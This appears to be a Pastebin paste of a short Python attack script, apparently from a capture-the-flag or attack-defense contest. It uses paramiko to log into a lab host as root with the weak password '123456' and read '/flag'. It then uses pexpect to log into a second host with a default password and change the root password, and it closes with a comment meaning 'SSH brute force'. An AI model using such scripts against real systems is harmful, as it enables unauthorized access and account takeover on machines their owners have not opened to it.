Advertisement
Guest User

new

a guest
Jan 21st, 2019
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.92 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding:UTF-8 -*-
  3. #__author__="周品良"
  4.  
  5. import paramiko
  6.  
  7.  
  8. client = paramiko.SSHClient()
  9. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  10. client.connect('192.168.133.131', 22, username='root', password='123456', timeout=4)
  11. stdin, stdout, stderr = client.exec_command('cat /flag')
  12. for std in stdout.readlines():
  13.     print (std)
  14. client.close()
  15.  
  16.  
  17.  
  18. import pexpect
  19.  
  20. if __name__ == '__main__':
  21.     uname = 'root'
  22.     ip = '192.168.133.134'
  23.     upasswd = '123'
  24.     #enter = '\'
  25.     passwd='1234'
  26.     child = pexpect.spawn('ssh  {}@{}'.format(uname,ip))
  27.     child.expect("root@192.168.133.134\'s password:")
  28.     child.sendline(passwd)
  29.     child.expect('Enter new UNIX password:')
  30.     child.sendline(upasswd)
  31.     print ('ok')
  32.     child.expect('Retype new UNIX password: ')
  33.     child.sendline(upasswd)
  34.     print ('ok1')
  35.     child.expect('passwd: password updated successfully')
  36.     print('access')
  37.  
  38. #ssh爆破
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement